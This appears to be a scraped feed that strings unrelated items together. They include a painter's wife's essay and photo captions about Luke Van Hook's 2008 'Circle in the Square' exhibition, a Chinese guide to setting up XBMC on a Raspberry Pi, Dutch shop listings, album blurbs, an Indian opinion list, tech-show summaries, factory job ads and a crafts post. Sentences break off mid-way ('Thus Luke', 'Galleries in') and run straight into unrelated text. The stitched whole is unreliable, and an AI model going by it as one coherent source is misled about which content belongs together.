    The way I see it, Luke has taken on  the impossible task of creating the perfect circle, where no perfect circle has ever existed before, despite Giotto's legend.  All mathematical equations to date reveal that there is no perfect circle. It is a myth. So why Luke has persisted in this impossible feat only reminds me of the story of Don Quixote. Here is where I see Luke chasing his windmills. This is where in my imagination, I view the circles on the canvas as Luke's quest for the impossible dream and his circles are his windmills.  His paintbrush is his sword.  Thus Luke 
    Van Hook's paintings, for me, exhibit all the romantic qualities innate in a love story.  Seeking to please his beloved Lucia, these references emerging from raw canvas could be read practically like text.  Some art collectors saw the circles as Braille text or some secret code or language.  The secret, I think, lies in Luke's love of sports!  Sometimes I interpret this circle code to reflect images of the sports activities I see Luke enjoy daily;  I make visual connections to the circles on the wheels of his bicycles which hang in his studio or his skate boards that decorate the rafters of the painting bays or even the wheels that drive his car which sits resting on almost perfect circles on the driveway.
    For a while, I was convinced that Luke's enthusiasm for cycling was directly influencing the subjects of his paintings because one day, I was staring at one of his earlier images, (which is hung lovingly on the wall of the dining room right over the microwave oven); I saw it hanging next to a photograph of Luke participating in the 'Death Race 1999', a bicycle ride that cycle enthusiasts pursue along the most dangerous mountainous roads known as the California Alps in Northern California at the edge of the Northern Nevada border where Markleeville meets the Carson Valley.   The image Luke had painted in 1998, while recovering, ironically, from a broken ankle suffered in a bicycle race in Minden; was the image of three bicycles in a dead heat on the gray pavement with the yellow dividing line providing a ground for what appears as three large helmets (representative of the riders) in red, green and yellow.  The eventual emergence of Luke's hatch marks from work created in 2000, can be seen on the helmets and if you are really looking for this, (with your microscope) you may even find, the very beginnings of the influences which have eventually led to this mad case of circle paintings!  The circle imagery you might be searching for could have started at the base of the bicycle's anatomy with the wheels spinning along the highway to Kingsbury Grade, somewhere near Genoa, along the bottom of the hill leading to Lake Tahoe.  I comfort myself as painter's wife, that even Picasso had his periods, as did Rembrandt, Vincent Van Gogh, Monet and Gauguin and so long as Luke Van Hook doesn't try to cut off his ear we are doing just fine with these circles.


    But don't take my word for it. Luke Van Hook's circle paintings are something you should see for yourself.  The subtlety of the work is difficult to capture on film, although I tried my best to create a video after struggling with photographing the stills for three years.  But even the video work fails to reveal the whole story.  You've got to stand in front of one of these pieces to involve yourself in the novella of Luke's life.  Although I can decode a small portion of what I see through his work, the rest of the circles on the canvas are still a vague mystery to me as well.  Every relationship has its secrets.  Thus Luke and I, as artists, are no different.  Even when we know each other, there are elements of surprise and adventure that we have yet to tell each other.  The mystery in his canvases is what really thrills me to see Luke's work on display under gallery lighting! (Sales don't hurt my enthusiasm either!)





    When I think of Luke Van Hook's circle paintings, today, in 2008, I often think of Luke riding a skateboard doing 'ollies' and then trying for a loop-de-loop in mid-air.  This is because in January of 2008, Luke begged for a skateboard for his birthday and little did I know what would happen when I wrapped it up for him!  He has returned to the love of his youth.  Luke Van Hook has come full circle to his beginnings to land on his home base. The skateboard has also flown in mid-air, in harmony with gravity, and both land as one in a perfect execution of a move I would never dare try to do myself.  I see each circle on the canvas as Luke's attempt to catapult his work into the mainstream of the art-world with each rotation of the paintbrush on the surface of the canvas.  This is where I see Luke Van Hook in mid catapult, surfing on the air, light in transition, from youth to inspired maturity; from student to master, with paintbrush in hand landing and continuing to roll on four wheels with a great big shit-eating grin on his face. ('four' being the lucky number of his numerology charts). I see the ordered struggle, the innate joy in the success of one loop-de-loop after another. And once in a while, I also see the crash landing and the bloody injuries.  What is more important is that Luke gets up and does it again each and every time.  Luke has to begin again with each new circle, every circle becoming a part of a larger layer of community, thus his canvases vibrate with activity, mystery, romance and adventure.  I find my own meanings in each image  as it develops day by day and I am privileged to stand beside him, admire and witness the struggle of our Don Quixote in the new millennium, first hand.
    There is still time to see these painting up close and personal. The Brand Library Art Galleries is part of the Glendale Public Library, located at 1601 West Mountain Street in the City of Glendale, 91201  Telephone:  818-548-2051/ fax 818-548-2713 ;  visit the Brand Library Art Galleries online at   www.brandlibrary.org    to  check for Library hours.
    Cookie Gallegos, Ana Porras and Martha Ingels attend the opening of "Circle in the Square" to support Luke Van Hook. Brand Art Library Galleries, Glendale, California August 2, 2008 Photo by Ginger Van Hook
    (From left to right) Margo Payne, Lynn Nantana-Green and Angela Williams attend the exhibition "Circle in the Square" in support of Luke Van Hook.
    Lynn Lantana-Green came to support Artist, Luke Van Hook at the opening reception of "Circle in the Square" an art exhibition held at the Brand Library Art Galleries, Glendale, California, August 2, 2008.  Photos by Ginger Van Hook
    Kevin Powell came to support Luke Van Hook and enjoy the paintings at the Brand Library Art Galleries, Glendale California, August 2, 2008. Photo by Ginger Van Hook

    Artist Luke Van Hook brought home-made pies to his reception of the exhibition "Circle in the Square". In addition to painting, Luke Van Hook has a reputation for making awesome pies from scratch. Photographed milling around the Double Fudge Pican Pie and the Sweet Berry Pie were the grandchildren of Hector Sticker. Brand Library Art Galleries, Glendale, California August 2, 2008. Photo by Ginger Van Hook
    (From left to right) Claudio Sticker, Hector Sticker, Peter Bolten, Martha Ingels, Luke Van Hook and Luis Ingels attend the reception of  "Circle in the Square". Luke Van Hook and Luis Ingels worked together to create circles on canvas with the use of robotic CNC machines. After creating a little over a dozen machine-made paintings, Luke went on to compete with the machine and do the circles on his own by hand, one by one. Each circle is represented as being one breath and Luke Van Hook states that these are the marks he is leaving behind which define his existence during this lifetime as he continues to pursue the legend of "Giotto's Perfect Circle". Brand Library Art Galleries, Glendale, California, August 2, 2008. Photo by Ginger Van Hook

    From left to right, Ohannes Berberian, his daughter Melanie, Luke Van Hook and Rouzanna Berberian attend the opening reception of "Circle in the Square" at the Brand Library Art Galleries, August 2, 2008.  Ohannes Berberian owns DigiTECH Camera Repair in Monrovia, California (www.digitechcamerarepair.com). Luke Van Hook and Rouzanna Berberian are both fine art painters and members of the Monrovia Association of Fine Arts (M.A.F.A.). Rouzanna Berberian is a teacher in the after-school arts programs supported by M.A.F.A.  which promotes the goal of enhancing the lives of those within the community through interaction with the arts and to increase the opportunities of children through art education. Photo by Ginger Van Hook

    From left to right, Kathleen Zgonc, photographer Frank Zgonc and artist Luke Van Hook attend the opening reception of 'Circle in the Square' at the Brand Library Art Galleries, August 2, 2008. Frank Zgonc is a an executive member of the Monrovia Association of Fine Arts in Monrovia, California. Frank Zgonc is the vice-president and official curator of Monrovia's yearly October Art Festival. This year the October Festival will be held on Saturday and Sunday October 11th and 12th, 2008 at the Monrovia Community Center located at 119 W. Palm Avenue in Monrovia. Free and open to the public, this art event will feature work by photographer Frank Zgonc; (Scheduled from 10 am to 6pm both days).  There will also be an Opening Night Celebration Saturday, October 11th from 7-9:30 pm where the special Renaissance Award will be presented to a worthy individual who has made significant contributions to the arts. 
    Photo by Ginger Van Hook
    Mr. and Mrs. Luke and Ginger Van Hook attend the opening reception of 'Circle in the Square' at the Brand Libraries Art Galleries, August 2, 2008 in Glendale, California.  Luke Van Hook an artist working from Inglewood, California earned a BFA  at Otis College of ARt and Design.  For several years, Van Hook has been exploring in his work, Giotto's fabled "perfect circle".  Over time the single-minded focus on the perfection of the circle has been subsumed by the artist's interest in the aesthetic and expressive qualities of the circle. New works depict ritualistically repeated circular brushstrokes on canvas, hemp, and other materials. Van Hook states that he began " as a challenge to myself to see if a perfect circle was possible; these circles have now morphed into a challenge to myself to see if a perfect circle is  possible. These circles have now morphed into a study in patience. The sense of time and the marking of time is inherent in the meticulous application of paint. The viewer can appreciate these temporal qualities but is also compelled to bring their own  interpretation to the work. Are these circles pure abstraction? Combined do they conceal deliberate shapes and forms? or are they perhaps a secret code or language? Van Hook has exhibited at TAG Gallery, Focus One Gallery, and the Bolsky Gallery in  Westchester. Luke Van Hook's painting may also be viewed on his website: www.lukevanhook.com
    Photo courtesy of Peter Bolten


    Kevin Powell comes to support Luke Van Hook for his opening reception. Brand Library Art Galleries, Glendale, California, August 2, 2008.  Photo by Ginger Van Hook
    Jason Porras attends the opening reception to support Luke Van Hook in his endeavors to pursue Giotto's legend of the 'Perfect Circle'. Brand Library Art Galleries, Glendale, California August 2, 2008. Photo By Ginger Van Hook.


    Zoe Hengst, Ginger Van Hook and Martha Ingels attend the opening of "Circle in the Square" to support Luke Van Hook. Brand Library Art Galleries, Glendale, California August 2, 2008. Photo courtesy of Peter Bolten.
    Zoe and Jopie Hengst walk through the center of the exhibition "Circle in the Square" to support Luke Van Hook at the opening night, August 2, 2008. Paintings by Susan Sironi in the background. Brand Library Art Galleries, Glendale, California. Photo by Ginger Van Hook.

    Cookie Gallegos, Ginger Van Hook and Luke Van Hook pose for photographs in front of Luke Van Hook's painting at the Brand Library Art Galleries, August 2, 2008 Glendale, California. Photo courtesy of Peter Bolten.

    Cookie Gallegos and Ana Porras watch the dance performance choreographed by Cheryl Walker, Brand Library Art Galleries, August 2, 2008, Glendale, California.
    Paintings by Yesung Kim, Brand Library Art Galleries, August 2, 2008, Glendale, California. Photo by Ginger Van Hook.
    Paintings by Yesung Kim, Brand Library Art Galleries, August 2, 2008, Glendale, California.
    Photo by Ginger Van Hook
    Yesung Kim poses for a photograph in front of her paintings at the Brand Library Art Galleries, August 02, 2008, Glendale, California. Yesung Kim from Upland, California, was born in Seoul, South Korea and holds MFA degrees from Chung-Ang University and Claremont Graduate University. Kim's mixed media pieces are seductively simple. Ordinary brown packing string is deftly applied to a painted canvas creating organic shapes that shimmer and reflect light. At times these shapes appear to be on the brink of an amoeba-like division as they spread and expand, dropping off the edge of one canvas and continuing on to another. Kim  cites the natural world and light and color as the underlying themes that both inspire and permeate her work.  Following solo shows at the Seoul Museum of Art and the Seoul Arts Center, Kim's work was most recently exhibited at the San Bernardino County Museum's Multi Media Mini Show. More information about Kim's work can be found on her website: www.yesungkim.com
    Photo by Ginger Van Hook
    Painting by Susan Sironi, Brand Library Art Galleries, August 2, 2008 Glendale, California.
    Photo by Ginger Van Hook
    Glass curtain by Susan Sironi, Brand Library Art Galleries, August 2, 2008,Glendale, California. Photo by Ginger Van Hook.
    Cheryl Walker designed a curtain of vinyl layers of color called 'Waterfall IV' that became the backdrop for a beautiful dance performance using the 'circle in the square' theme exhibited at the Brand Library Art Galleries in Glendale California, August 2, 2008. Cheryl Walker holds in her hand some of the vinyl circles that were placed upon the windows at the exhibition hall. Her vinyl circles upon the windows created an illusion of  the stained glass effects. The dance piece entertained a large audience on opening night as artists, collectors, art appreciators and family and friends celebrated the mythologies, geometries, magical and mystical qualities of the circle.   Dance Performers Liz  Curtis, and Martha Carrascosa performed a dance which included participation from members of the audience.  
    Members of the audience interacted with the dancers Martha Carrascosa and Liz Curtis at the Brand Library Art Galleries participated in creating a colorful cascade of window art on August 2, 2008 in Glendale, California.
    Audience watches dancers Liz Curtis and Martha Carrascosa from Glendale Community College as they perform a choreographed piece by Cheryl Walker, artist. "Circle in the Square", Brand Library Art Galleries, Glendale California, August 2, 2008.  Photo By Ginger Van Hook
    Dancers Liz Curtis and Martha Carrascosa performing dance choreographed by artist Cheryl Walker, (within the green curtain), Brand Library Art Galleries, Glendale, California. 
    Photo by Ginger Van Hook.
    Cheryl Walker engaged in performance art intersecting with window art using the artistic theme of 'Circle in the Square'. Brand Library Art Gallery, Glendale, CAlifornia August 2, 2008. Photo by Ginger Van Hook.

    Cheryl Walker smiles happily on opening night, Brand Library Art Galleries, Glendale California. August 2, 2008. Cheryl Walker, a Los Angeles artist, earned her BA in art in her home state of Minnesota, and her MFA from California State University, Long Beach. In this exhibition Walker created two large site-specific installations of vinyl, oil pastel and natural and artificial light.  Walker explains that the driving force behind her work is "human interaction and improvisation in response to a natural phenomenon or situation." Trained as painter, Walker's installations have some of the qualities of painting; when viewed head-on the suspended layers of vinyl can appear to be two-dimensional because of their transparency and the cut shapes and forms applied to the vinyl are reminiscent of brushstrokes--but removed from the wall these works are thrust into what she calls an "interactive field of play." The fluidity of the material she works with and her interest in collaboration between the artist and the viewer have inspired Walker to create works that can be transformed into performance pieces by dance, music and in-situ art-making. In this exhibition, a dance performance captivates the audience on opening night at the Brand Library Art Galleries, Glendale, California. August 2, 2008.  Photos By Ginger Van Hook




    Barbara Kolo, Artist from "Circle in the Square" poses for a photograph in front of her painting with her husband Mr. Kolo. Barbara Kolo, a Santa Monica Artist, earned her BFA from the School of Visual Arts in New York City. Kolo Participated in a successful two-person show at the Brand Library Art Galleries in 1999. The Brand Library Art Galleries are pleased to present (nearly ten years later) a new body of work by Barbara Kolo that connects to that which was here before. In those works and these, her focus is on representing organic materials. The current large scale acrylic on canvas works are saturated with color; the stippled application of paint creates organic shapes and patterns representative of the natural world.  The subject matter is open to each viewers interpretation, where one may see a birch forest at dusk, others may see the  bold aesthetic of pure color and abstraction. Kolo has had recent solo shows at Topanga Canyon Gallery and the Off Rose Gallery in Venice, California. More information about Kolo's work can be found on her website: www.barbarakolo.com Brand Library Art Galleries, Glendale California. Photo by Ginger Van Hook






    Barbara Kolo poses for a photograph during opening night celebrations for the exhibition, "Circle in the Square" at the Brand Library Art Galleries, Augusts 2, 2008. Glendale, California.


    Susan Sironi,  an artist living in Altadena, California posed for her photograph in front of her paintings at  the Brand Library Art Galleries, Glendale, California. August 2, 2008.  Susan Sironi earned her BFA at California Sate University, Long Beach. This exhibition will showcase Sironi's recent paintings as well as her Glass Curtain installation which is comprised of conjoined antique optometric lenses. Her paintings are about texture, color and process. Small dabs of oil paint are painstakingly applied to aluminum, building up an intricate, thorny surface. Highly textured and multihued when viewed up close, this surface belies the color play minimalist color-field appearance of the work at a distance . In the artist's own words "texture and color play equal roles in these works. They ... set up contradictions within each piece. Painitings  that seem to invite touch and intimacy are also reserved and automomous. Time and process are weighed against a static and minimal structure. Sironi's work was most recently seen in the Brea Art Gallery's Made in California exhibition, at the Chouinard School of Art Gallery, and the Orange County Center for Contemporary Art.  More information about Sironi's work can be found on her website: web.mac.com/susansironi/susan/sironi/Welcome.html.
    Photo by Ginger Van Hook.  

    Yesung Kim, Brand Library Art Gallery, Glendale, California, August 2, 2008.



    The Entrance to the Brand Library Art Galleries in Glendale, California hosts a prominent postcard of the show "Circle in the Square" now exhibiting through September 5th, 2008

                       Luke Van Hook paintings are now showing at the Brand Library Art Galleries in
              [RPi] 树梅派安装XBMC并让其支持中文        
    有了RPi当然免不了要玩玩XBMC,这里推荐XBian,安装配置过程如下:

    1- 下载.img文件 ( http://www.xbian.org/download/ );
    2- 用dd命令将.img(比如XBian_beta_2.img)写入SD卡;
    3- 将中文字体(比如wqy-zenhei.ttc)重命名为arial.ttf,复制到SD卡的~/.xbmc/media/Fonts目录(XBian默认用户为xbian,密码raspberry);
    4- 从 https://code.google.com/p/xbmc-addons-chinese/downloads/detail?name=repository.googlecode.xbmc-addons-chinese-eden.zip 下载资源插件并复制到SD卡;
    5- 将SD卡插入RPi并连接HDMI到电视机/显示器;
    6- RPi开机,进入XBian的配置页面,可以校准屏幕,配置网络连接等;
    7- 在系统设置中选择字体为Arial,语言选为中文,此时应该看到界面可正常显示中文;
    8- 安装扩展程序,选择之前下载到SD卡的repository.googlecode.xbmc-addons-chinese-eden.zip文件,扩展安装成功后即可在扩展程序列表中看到对应的资源条目,逐一安装即可。

    额外提示:XBMC也可以通过网络共享播放视频,之前跟大家提到过XBMC显示中文字幕有时出现整行被方块覆盖的问题,解决方法是在字幕文件中查找并删除或替换"…"字符。Enjoy!

    laogao 2014-04-06 17:45 发表评论

              Power Shift Graafmachine 1/3         
    € 59,95

              Canon MP121-MG Desktop Rekenmachine met printer Wit        

    Normale prijs: € 54,95

    Aanbiedingsprijs: € 46,95


              HP Prime Graphing Calculator Desktop Grafische rekenmachine Zwart, Zilver        

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              LEGO Technic Emmerwiel graafmachine        

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              What Machines Teach Us About Music        

              Machines, Music and Meaning        

              A Rube Goldberg Machine of Vast Scale        

              creation VI ~ everywhereness / omnipresence        


    creation VI ~ everywhereness (πάνθεον, 2015)

    «Listen to the spring!». pantheon

    Quiet album of field recordings and bright impressions collected on different locations in Yaroslavl, Kyiv and Crimea. Small birds and crickets in the steppe, nightingales near Volga shore, soft rain over countryside field, summer bees in the flower garden and warm drones obtained from electric guitar, flutes and voices. Three tracks which would definitely please lovers of slow quiet drones – Celer, Hakobune, Chihei Hatakeyama, etc. Also suits very well for Chinese tea ceremony :) 

    listen ~ buy
     
     creation VI ~ omnipresence (πάνθεον, 2015)

    «...the river is everywhere at once, at the source and at the mouth, at the waterfall, at the ferry, at the rapids, in the sea, in the mountains, everywhere at once, and that there is only the present time for it, not the shadow of the past, not the shadow of the future» ~ Hermann Hesse, Siddhartha

    Two tracks of hindustani raga inspired improvisational drone music performed with Chinese flute hulusi and Indian shruti-box (surpeti) along with some other instruments, effects and voices. Raga for midday sun in the greenwood, music of spring currents of the mighty Volga, song of birches, rushing sweet juice in its branches...

    listen ~ buy

    ps: both releases are available as one bundle with additional booklet, wrapped in handmade envelope and including download code for previous Creation VI release "Reminiscence" 


              7 things wrong with our country        
    ------------
    Note 1: If you are looking for a government/politician-bashing rant, or a discussion about corruption consuming our nation, or a list which enumerates education, poverty, development et al, this post is not going to touch any of those things.

    Note 2: This list is relative to things often found in other countries on most accounts.
    ------------


    #7 Pull-to-open bags

    This is a bag of delectable chips.


    This is how it should be open-able...



    ...so we can enjoy our chips like this...



    ...NOT ruined by this.



    If other countries in the world can have this, why can't we?! I mean, how difficult is it?!



    #6 Coca-cola

    This:

    Just look at this. How can you not want to have this refreshing drink with lunch and dinner, and to go alongside the chips in #7. (I skipped mentioning breakfast for the risk of it being an overkill.) For most countries, bottomless coke, or for that matter, any drink other than water is offered alongwith meals by default. Water is the last thing you should be drinking, with the evolution of man.



    #5 Airports

    They suck. And before you go all "T3" on me, again, they suck. Travelling, especially air-travel, should be an experience, not a punishment. Travelling by air is the pinnacle of human achievement. Think about it, you are flying at 30,000 ft, half-way across the world in less than 24 hours, at more than 900 kms per hour, while dining and watching movies along the way, even watching cat videos on youtube, and liking others' updates about their amazing lives. Not to mention the spectacular views and the perspective you get on our planet.

    Airports should present it as such. It should be huge, unlike anything you might have seen before. While you wait for your flight, you should have a magnificent view of the craft from the gate, through big glass panels, so you can marvel at its sheer size, filled with a childlike wonder. Not shoved into buses which take you on a tumbling ride towards your craft. There should be enough seating, clear signs and directions. The immigration should be polite, welcoming to its own citizens, a small "Welcome home." with a smile. The security should not feel derogatory. The experience should be welcoming. It's the pinnacle of human achievement, afterall.




    #4 Public Signs/Addresses

    A metro station should say "metro station", an airport or a railway station should be navigable from anywhere in the city, with signs that say "Airport -> 15 kms", and a bus-stop should say "Bus Stop". It made me think when a Chinese guy visiting India asked me at a bus stop, "How do you know that the bus will stop here?", and the only response I could give was, "Ummm, because this is where everyone else is standing.". It shouldn't be this way. 

    And the addresses should make sense, with numbered streets and crossings. Do away with the MG roads! Use more numbers, PLEASE! This should not be how my address looks/sounds:

    Opp. XYZ Hospital,
    Near ABC Hotel,
    Quite close to Forum mall,
    Come straight from PQR Flyover, and take 2nd right, then left.

    NO.

    My address should look like this:
    42, Lush Meadows Residence
    7, Riverview Road, Bangalore.

    That's IT.




    #3 Utility stores / Vending Machines

    Fewer malls, please? And more utility stores. Where I can go, pick things, pay money, and get out with minimal turnaround time. Maybe 7/11's at petrol pumps? And every other 100 meters too? And vending machines! Aaaargh. Quick turnaround time!




    #2 Breakfast

    There are CRORES of people who go to work every day. And they want breakfast. The corn-flakes, and the dosas and the idlys, and the paratha-sabzi are okay. People need to be able to grab a bite in the mornings, and quickly. Croissants, muffins, selection of juices and sandwiches, salads, fruits, as pre-packaged take-away, available close to any means of public transport. Also, coffee. How can so many other countries get this right, except us?! I will not even touch the despicable state of our lunches and dinners, but we can always work around that. Breakfast is the most important meal of the day, remember?




    #1 Respect for workers

    Cheap labour, right? Be kind to the people working at your house. Give the auto-waalas 20 extra bucks. Talk to them, chat with them. Listen to their stories, they have several. Make a joke or two, and see them smile. Trust them. Offer them a glass of water, tea, or food after a few hours of hard manual work by default, which shouldn't be seen as an act of generosity, but of responsibility and of respect from a person, to another. Give them gifts on festivals, give them leaves. Give them a raise when you get one. Share your happiness with them, and be a part of theirs.

    So many poor Indians go abroad to work as sweepers, cleaners, carpenters, construction workers, and they do that with their heads held high, with pride. They don't want to come back. Give them that opportunity here. Make them feel that they belong, and that we are fellow-countrymen.




    7 things wrong with our country...

              Princess 152006 Broodbakmachine Wake Up        

    Normale prijs: € 79,95

    Aanbiedingsprijs: € 64,00


              Inventum BM90 broodbakmachine        

    Normale prijs: € 99,95

    Aanbiedingsprijs: € 84,95


              Special 322: WWDC 2017        

    TWiT Live Specials (Video-HD)

    At their 2017 World Wide Developers Conference, Apple announced six new things. tvOS gets an update and Amazon Prime Video. watchOS 4 includes new faces and functionality. macOS High Sierra will incorporate Apple File System and improvements to Safari, Mail, and Photos. MacBook Pros and iPads get a spec bump, and iMacs can now handle VR with the HTC Vive. The iMac Pro, coming later this year, might fill the MacPro-sized hole in power users' hearts. iOS 11 will include a slew of new features and improvements, most notably machine learning and augmented reality. The new 10.5" iMac Pro further blurs the line between tablets and power computers. And last, but surely not least, the new HomePod is the rumored "Siri Speaker," with a big focus on music.

    Hosts: Nathan Olivarez-Giles and Megan Morrone

    Download or subscribe to this show at https://twit.tv/shows/twit-live-specials.

    Thanks to CacheFly for the bandwidth for this special presentation.


              Special 314: Unboxing the Surface Studio        

    TWiT Live Specials (Video-HD)

    Microsoft's answer to the iMac, the Surface Studio, arrived at the Eastside Studio in Petaluma and Leo Laporte unboxed the elegant workstation.

    The versatile machine has a 28" ultra thin PixelSense display, an Intel Core processor, as well as a 1 TB hybrid hard drive with 64 GB SSD. The Surface Pro also packs 8 GB of RAM, as well as Nvidia's GTX 956M. The unique design, with its hinge, allows the user to transform the machine from a traditional desktop to a tablet-like device. The Surface Dial can be used to customize shortcuts and provide a user interface for a variety of programs, including Spotify, Word, PowerPoint and Paint.

    Host: Leo Laporte

    Download or subscribe to this show at https://twit.tv/shows/twit-live-specials.

    Thanks to CacheFly for the bandwidth for this special presentation.


              Makesound par Jean-Philippe Renoult: le tableau électrique de la CNC        
    Aux Arts Codés, à Pantin, Jean-Philippe Renoult a ausculté le tableau électrique de la CNC, en enregistrant les basses fréquences de la machine à commande numérique. Ecoute au casque recommandée! Pour la 2ème saison de sa chronique en binaural pour Makery, Jean-Philippe Renoult ajoute davantage encore sa touche au son de la machine. La machine... Voir l'article
              Wire Harness Assembly - Lead Technician        

    Wire Harness Assembly - Lead Technician | Full Time Position

    Bazzaz, Inc. is currently seeking to fill a full-time position for a Wire Harness Assembly - Lead Technician.

    Bazzaz is a designer and manufacturer of superior-quality motorcycle & ATV electronics and dynamometers located in Chino Hills, CA.
    We are committed to providing customers the very best experience which we believe stems from hiring the best employees.
    For more information on the company please visit bazzaz.net.

    Location: Chino Hills, CA

    Description: Seeking an individual who is proficient in operating wire cut and strip, and terminal press machines.
    Able to perform cable harnessing, wire harnessing, assembly and subassembly using drawings, schematics, and wire diagrams.
    Candidate should be acutely focused on quality and will perform quality inspections. Listed below are the basic duties and requirements of the position:

    • Assemble wire & cable harnesses, subassemblies, wiring, crimping, soldering, plugging stripping, routing, inspecting, and potting.
    • Understand and be to operate wire cut & strip machine & terminal presses
    • Basic knowledge of components & maintain inventory of parts
    • Perform quality inspections
    • Perform regular maintenance and upkeep of the equipment
    • Monitor production runs
    • Follow strict quality control process
    • Must be able to work 40 hours per week 7AM-4PM
    • Able to read, write, and communicate in English
    • Explain assembly procedures or techniques to other workers
    • Set up and maintain a clean work environment at all times
    • Understand and follow all safety policies, codes, and procedures
    • Lead a team of 4-10 wire harness assemblers

    We are looking for a responsible, highly motivated and detail oriented individual, who wants to be part of an exciting and dynamic company.
    Bazzaz is on the leading edge of technology in the motorcycle aftermarket industry.

    Desired Qualifications:

    • 2 years electro-mechanical assembly experience with cable and wire harnessing
    • Must be able to accurately identify components
    • Committed to quality
    • Detailed
    • Good eye / hand coordination is a must
    • Able to work in MS Outlook and Excel
    • Able to meet strict deadlines
    • Bi-lingual, English & Spanish a plus

    Benefits:

    • Starting Wage is $12.00 - $16.00 per hour, based on experience.
    • After six months eligible for company Health/Dental/Vision Insurance.
    • 1 week vacation. Paid personal days. Paid Holidays.
    • Monthly bonus plan.

    Applicant must successfully pass a drug screening, E-Verify, and background check in order to qualify.

    Bazzaz, Inc. is an at-will, equal opportunity employer. If you believe yourself to be a good candidate and meet all requirements,
    please e-mail a brief description of your qualifications and resume to Josef Buxton.

    *Position descriptions and anticipated skills acquired are neither conclusive nor definite and can be expected to change throughout term of employment.

     

     


              Purchasing & Production Manager        

    Production & Purchasing Manager | Full Time Position

    Bazzaz, Inc. is seeking to fill a full-time position for a Purchasing & Production Manager. 

    Bazzaz is a designer and manufacturer of superior-quality motorcycle & ATV electronics and dynamometers located in Chino Hills, CA. We are committed to providing customers the very best experience which we believe stems from hiring the best employees. For more information on the company please visit bazzaz.net.

    Location: Chino Hills, CA

    Description: Seeking an individual who will plan, organize, and control production at Bazzaz Z-Fi fuel controller factory, which produces harnesses, strain gages, and printed circuit boards. Candidate must be committed to ensuring that Bazzaz products are produced efficiently, on time, within budget and to the highest quality standard. Issues Purchase Orders for the raw materials. Candidate should be solution-driven and acutely focused on quality. Listed below are the basic duties and requirements of the position:

      • Supervises production assembly team of 12-20 persons. Subordinates perform assembly of products or sub-assemblies according to verbal or written instructions, or by following drawings or diagrams. Provides work direction and reviews work performance.
      • Responsible for light maintenance of production machinery for harnessing and SMT.
      • Production Planning and ability to apply LEAN manufacturing techniques.
      • Manages the purchasing function according to department policy and procedure. Accepts and scrutinizes vendor bids or proposals. Selects sources based upon analysis. Arranges vendor contracts, bargains for best costs, and observes quality of purchased materials. Prepares reports and required documents. Organizes activities with sales, engineering, production, or warehouse personnel.
      • Manages inventory of materials, parts, and finished product to maintain required supply. Maintains records, replenishes stock, and plans for future requirements based on orders, production schedules and forecasts. Strives to achieve JIT.
      • Quality assurance - Manages quality assurance operations for the factory. Comes up with new ideas to enforce and improve quality programs. Monitors Production Department's conformance with QA standards and procedures. Conducts quality assurance training for employees engaged in materials handling or product assembly. Suggests methods for improving product quality or design, or manufacturing processes.
      • Manages shipping & receiving staff. With an emphasis on efficiency and accuracy.
      • Provide production updates to Bazzaz Team.
      • Harness Documentation / Create BOM.
      • Assist R&D.
      • Reports to Vice President.

    We are looking for a responsible, highly motivated and detail oriented individual, who wants to be part of a growing and dynamic company. This person must be a problem solver, have a get it done attitude, and enjoys working with a team. Bazzaz is on the leading edge of technology in the motorcycle aftermarket industry and this position plays a critical role in delivering the ultimate customer experience.

    Desired Qualifications:

      • Minimum of a 2 year degree.
      • Minimum of 2 years of experience in production and/or purchasing for wiring harnesses and/or printed circuit board assembly.
      • Winning attitude. Must be a team player and enjoy working in a fun yet focused atmosphere.
      • Experience with MRP/ERP software.
      • Computer literate with accurate data entry skills.
      • Able to read a wiring diagram.
      • Person shall demonstrate competency when using scales and other hand tools. Individuals should exhibit strong communication and organizational skills.
      • Mechanically inclined.
      • Ability to lift 50 pounds.
      • Bilingual in Spanish and English, preferred but not required.

    Benefits:

      • Starting salary is $40-50K annually, based on experience.
      • After six months eligible for company Health/Dental/Vision Insurance.
      • 1 week vacation. 6 Paid personal days. Paid Holidays.
      • Monthly bonus plan.

    Applicant must successfully pass a drug screening, E-Verify, and background check in order to qualify.

    Bazzaz, Inc. is an at-will, equal opportunity employer. If you believe yourself to be a good candidate and meet all requirements, please e-mail a brief description of your qualifications and resume to jbuxton@Bazzaz.net.

    *Position descriptions and anticipated skills acquired are neither conclusive nor definite and can be expected to change throughout term of employment. 


              Gifts Of Spring        
    Just here thinking Spring already, the funny thing is that is windy and raining cats and dogs outside! Anyway today I want to start with a set of card, envelope and box. I have to tell you that I just loooooove this set, was created using my new digital papers: Spring Fling. I also went back to basics and I'm using again my Cricut, I do not own a new cutting machine right now, I have to be honest and I know I am not the type of person that enjoy complicated tools so that is why I decided to use what I have and actually is not that bad, I am enjoying all the process and discovering lots of possibilities. 

    Aqui de nuevo ya pensando en Primavera, lo curioso es que afuera hace un clima horrible, mucho viento y lluvia! En fin, primero les quiero compartir este set de tarjeta, sobre y cajita. Les tengo que confesar que me encanto el resultado, fue creado con papeles del colage: Spring Fling.
    Algo que tambien disfute fue que regrese a los basicos, asi es, desempolve mi Cricut y la estoy usando de nuevo, por el momento no tengo una maquina de corte nueva y tampoco me gustan las maquinas complicadas ni estar batallando que si la tengo que conectar a la computadora etc.. asi que intente aprovechar lo que tengo y la verdad es que no esta tan mal, estoy disfrutandolo y hay muchas posibilidades.

    I cut the word Easter from the cartridge called wild card, I use chalk ink to paint the word in 2 different tones, I also use the Cricut for the argyle design/background in white cardstock and the scalloped envelope all those designs come in the same cartridge.

    Corte la palabra  Easter del cartucho: wild card use chalk ink para pintar de dos colores la palabra, tambien use  mi Cricut para el diseño de rombos en cardstock blanco y el sobre con onditas, todos esos diseños son parte del mismo cartucho.

    This cute box was made using a die that I got from e bay as some of you know I am addicted to these dies and the great thing is the price! I use some stamps from MSE! seam binding, silk flowers and other embellishments from my stash.

    Esta cajita que me encanta la corte con un suaje de e bay como algunas de ustedes ya saben soy adicta a  estos suajes ahora y lo mejor de todo es el precio! use algunos sellos de MSE! seam binding, flores de seda etc.



    Next a baby card using a cute vintage image from the collage: Sent From Heaven and Shabby Mini Folders, papers from my stash.

    Ahora una tarjeta de bebe usando imagenes vintage de los colages: Sent From Heaven y Shabby Mini Folders, papeles de mi coleccion.



    Next another card just for fun created with paper scraps,  those big scissors that I cut with my Cricut, the stamp is a retired one from TCM, I use images from the collage: Tape Measure No. 2

    A continuacion una tarjeta creada con recortes de papel,  esas tijeras grandes son tambien un corte con la Cricut, el sello ya esta descontinuado es de la marca TCM, use imagenes del colage: Tape Measure No. 2
    That is all for me today I hope you have a great weekend! I will be back soon with lots of projects!

